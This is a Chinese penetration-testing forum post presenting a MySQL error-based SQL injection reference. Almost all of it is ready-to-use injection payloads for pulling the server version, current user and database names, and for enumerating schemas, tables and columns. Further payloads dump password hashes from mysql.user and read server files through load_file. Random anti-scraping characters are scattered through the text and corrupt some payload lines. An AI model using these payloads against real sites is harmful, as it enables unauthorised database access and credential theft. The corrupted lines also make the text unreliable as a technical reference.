中国网络渗透测试联盟

标题: Mysql暴错注入参考（pdf） [打印本页]
作者: admin    时间: 2013-7-27 11:00
标题: Mysql暴错注入参考（pdf）
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
! I! @( o( W9 Q* t7 _' {/ f
- l6 w2 ^4 ?, d
& V1 {4 {# i3 c8 ]. u, w% IMysql暴错注入参考（pdf），每天一贴。。。
; Z2 V5 y  E, p- p3 @( M2 H8 [5 l7 K$ ^; l  R6 i, S3 e: o6 \
MySql Error Based Injection Reference" g; L2 _6 V, u5 e
[Mysql暴错注入参考]
" P0 {$ x9 l5 Y# ?8 mAuthornig0s1992
& Z5 _; b$ K6 ]2 Z+ k8 BBlog:http://pnig0s1992.blog.51cto.com/8 Z: o+ u& m( b4 U; o; _
TeAm:http://www.FreeBuf.com/& L6 o% I# x4 p0 i4 C. f
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
; [/ ]- `! u& g小部分版本使用name_const()时会报错.可以用给出的Method.2测试/ @5 w% W$ j( I* G- J9 h7 H
查询版本:; b* o. v( z2 L& U. f/ q+ J% u! x  p1 _
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
( T& ^3 f: z. A% Z" O$ S- fjoin+(select+name_const(@@version,0))b)c)
& U3 p& w. u  x% w8 O" K/ v3 g5 GMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
7 Q  t) C4 j2 {+ E/ tup by a)b)
) B! s; J5 S/ n$ Q$ U- s查询当前用户:% Z, e3 |4 [5 C9 V, @) @' f
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c); V9 R2 O1 t- @* |3 c
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
4 A  E/ d4 U( Q" D2 {3 uand(0)*2))x+from+information_schema.tables+group+by+x)a)
0 T9 Z' l! z( w+ C7 [, v+ B查询当前数据库:
! M7 n2 a  N0 [Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
* l1 F, ~2 e4 [" [( X% WMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
  J& m7 C+ `+ h5 S! z. Y3 e% d* zor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)0 ?: n) K' z9 Z; V/ d, ?
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
" j+ v; D4 Z. E9 j: P6 l3 ~LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n9 t- ?6 l# H9 k; c
顺序替换
2 c& L" V2 t% P" o$ L$ Q: g9 r爆指定库数目:
! [& [/ G- L# m0 yand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
2 {  Q. r- F9 p6 v  _9 Mable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+ O9 t% w# o* G. @; N/ P+by+x)a)+and+1=1 0x6D7973716C=mysql
# D: c; K3 D! U0 U* M依次爆表:5 {) S9 l/ s+ f& C: }
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
! \7 w8 t# F$ e- t9 \able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta! t/ l8 O6 k5 T) N; j7 }
bles+group+by+x)a)+and+1=12 S) r3 ~0 @0 O' U' ^- P( U
0x6D7973716C=Mysql 将n顺序替换! ^, `5 h1 A5 a/ Q
爆表内字段数目:
( g* h/ X4 K- D; U' L% pand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE# ?$ r' b+ k- z, y
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran; I+ N- B5 J, `5 h
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1: r$ v$ m" a. B) v( y: m
依次爆字段:7 ]6 u5 T; V  t4 U4 l2 X( D9 V' _
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
& T& L' D# |  I7 T% K+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1( E+ R9 @, V. L. E9 i8 R  p
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换6 Q) ^: u/ P; ]8 W, J; ^
依次暴内容:
4 H4 b# C2 d4 J6 W0 xand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche, \/ I/ b) h7 O% Y  H* W: j% r) B
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
# @# O3 Q1 p/ B, B将n顺序替换
" I1 t3 q; h  _  u2 M* Z# R爆文件内容:
: L7 y8 ?& j. Xand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
/ w8 n$ M0 X2 [from+information_schema.tables+group+by+a)b)
: E# m  A2 r; S0 ?. D+ A, T' X0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节  e7 T2 B! r. f% w2 f
Thx for reading.
& P& X& U' D; b4 m% S6 Y4 L! @/ v
不要下载也可以， / B' r: B$ W: b8 ~* F' N* O+ D




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2